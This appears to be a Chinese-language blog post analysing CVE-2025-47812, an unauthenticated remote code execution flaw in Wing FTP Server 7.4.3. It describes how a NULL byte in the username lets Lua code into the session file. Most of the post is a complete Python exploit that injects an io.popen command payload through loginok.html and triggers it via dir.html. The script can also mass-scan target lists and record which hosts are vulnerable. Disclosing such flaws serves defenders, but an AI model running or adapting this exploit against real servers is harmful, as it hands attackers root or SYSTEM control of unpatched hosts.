Wing FTP Server 7.4.3 - 未授权远程代码执行漏洞分析与利用

本文详细分析了Wing FTP Server 7.4.3版本存在的未授权远程代码执行漏洞(CVE-2025-47812),包含漏洞原理、利用方式及Python自动化利用脚本实现。

漏洞标题: Wing FTP Server 7.4.3 - 未授权远程代码执行(RCE)

CVE: CVE-2025-47812

日期: 2025-06-30

漏洞作者: Sheikh Mohammad Hasan aka 4m3rr0r (https://github.com/4m3rr0r)

厂商主页: https://www.wftpserver.com/

受影响版本: Wing FTP Server <= 7.4.3

测试环境: Linux(Root权限), Windows(SYSTEM权限)

漏洞描述:

Wing FTP Server 7.4.4之前版本存在未授权远程代码执行漏洞(CVE-2025-47812)。该漏洞源于登录过程中对’username’参数中的NULL字节处理不当,导致Lua代码被注入到会话文件中。当访问认证功能(如/dir.html)时,这些恶意构造的会话文件会被执行,从而在服务器上以高权限(root/Linux或SYSTEM/Windows)执行任意命令。漏洞利用了c_CheckUser()函数(在NULL处截断)和会话创建逻辑(使用未过滤完整用户名)之间的处理差异。

漏洞验证(Python):

提供的Python脚本自动化了漏洞利用过程:

  1. 向loginok.html发送POST请求,在用户名中注入NULL字节和Lua代码
  2. 成功认证(即使是匿名)后返回UID cookie
  3. 使用该UID cookie访问dir.html触发注入的Lua代码执行
  4. 最终实现远程代码执行
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
import requests
import re
import argparse

# ANSI颜色代码
RED = "\033[91m"
GREEN = "\033[92m"
RESET = "\033[0m"

def print_green(text):
    print(f"{GREEN}{text}{RESET}")

def print_red(text):
    print(f"{RED}{text}{RESET}")

def run_exploit(target_url, command, username="anonymous", verbose=False):
    login_url = f"{target_url}/loginok.html"
    
    login_headers = {
        "Host": target_url.split('//')[1].split('/')[0],
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": target_url,
        "Connection": "keep-alive",
        "Referer": f"{target_url}/login.html?lang=english",
        "Cookie": "client_lang=english",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }

    from urllib.parse import quote
    encoded_username = quote(username)

    payload = (
        f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
        "%0dh%3aclose()%0dprint(r)%0d--&password="
    )

    if verbose:
        print_green(f"[+] 向 {login_url} 发送POST请求,命令: '{command}',用户名: '{username}'")

    try:
        login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)
        login_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] 发送POST请求到 {login_url} 错误: {e}")
        return False

    set_cookie = login_response.headers.get("Set-Cookie", "")
    match = re.search(r'UID=([^;]+)', set_cookie)

    if not match:
        print_red("[-] 在Set-Cookie中未找到UID,漏洞利用可能失败或响应格式已改变")
        return False

    uid = match.group(1)
    if verbose:
        print_green(f"[+] 提取的UID: {uid}")

    dir_url = f"{target_url}/dir.html"
    dir_headers = {
        "Host": login_headers["Host"],
        "User-Agent": login_headers["User-Agent"],
        "Accept": login_headers["Accept"],
        "Accept-Language": login_headers["Accept-Language"],
        "Accept-Encoding": login_headers["Accept-Encoding"],
        "Connection": "keep-alive",
        "Cookie": f"UID={uid}",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }

    if verbose:
        print_green(f"[+] 向 {dir_url} 发送GET请求,UID: {uid}")

    try:
        dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)
        dir_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] 发送GET请求到 {dir_url} 错误: {e}")
        return False

    body = dir_response.text
    clean_output = re.split(r'<\?xml', body)[0].strip()

    if verbose:
        print_green("\n--- 命令输出 ---")
        print(clean_output)
        print_green("----------------")
    else:
        if clean_output:
            print_green(f"[+] {target_url} 存在漏洞!")
        else:
            print_red(f"[-] {target_url} 不存在漏洞")

    return bool(clean_output)

def main():
    parser = argparse.ArgumentParser(description="通过login.html实现命令注入的漏洞利用脚本")
    parser.add_argument("-u", "--url", type=str,
                        help="目标URL(如 http://192.168.134.130)。如果未指定-f则必须指定")
    parser.add_argument("-f", "--file", type=str,
                        help="包含目标URL列表的文件(每行一个)")
    parser.add_argument("-c", "--command", type=str,
                        help="要执行的自定义命令。默认: whoami。如果指定,将自动启用详细输出")
    parser.add_argument("-v", "--verbose", action="store_true",
                        help="显示完整命令输出(详细模式)。如果使用-c则忽略,因为会自动启用详细模式")
    parser.add_argument("-o", "--output", type=str,
                        help="保存存在漏洞URL的文件")
    parser.add_argument("-U", "--username", type=str, default="anonymous",
                        help="漏洞利用中使用的用户名。默认: anonymous")

    args = parser.parse_args()

    if not args.url and not args.file:
        parser.error("必须指定-u/--url或-f/--file")

    command_to_use = args.command if args.command else "whoami"
    verbose_mode = True if args.command else args.verbose

    vulnerable_sites = []

    targets = []
    if args.file:
        try:
            with open(args.file, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
        except Exception as e:
            print_red(f"[-] 无法读取目标文件 '{args.file}': {e}")
            return
    else:
        targets = [args.url]

    for target in targets:
        print(f"\n[*] 正在测试目标: {target}")
        is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)
        if is_vulnerable:
            vulnerable_sites.append(target)

    if args.output and vulnerable_sites:
        try:
            with open(args.output, 'w') as out_file:
                for site in vulnerable_sites:
                    out_file.write(site + "\n")
            print_green(f"\n[+] 存在漏洞的站点已保存到: {args.output}")
        except Exception as e:
            print_red(f"[-] 无法写入输出文件 '{args.output}': {e}")

if __name__ == "__main__":
    main()
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计